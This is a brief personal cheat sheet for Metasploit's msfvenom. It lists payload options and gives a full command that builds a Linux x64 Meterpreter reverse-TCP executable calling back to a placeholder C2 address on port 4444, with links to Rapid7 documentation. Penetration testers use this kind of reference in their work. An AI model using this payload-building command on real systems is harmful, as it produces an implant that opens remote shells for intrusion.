metasploit | install | maintenance | discovery
msfvenom --list payloads | less
msfvenom --list formats
msfvenom --list platforms
msfvenom --list archs
c2=x.x.x.x
msfvenom \
    -p linux/x64/meterpreter_reverse_tcp \
    lhost=$c2 lport=4444 \
    --platform linux \
    -f elf \
    -o linux_x64_meterpreter_reverse_tcp.bin
    # -a x86_64
https://docs.rapid7.com/metasploit/working-with-payloads/
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html
https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html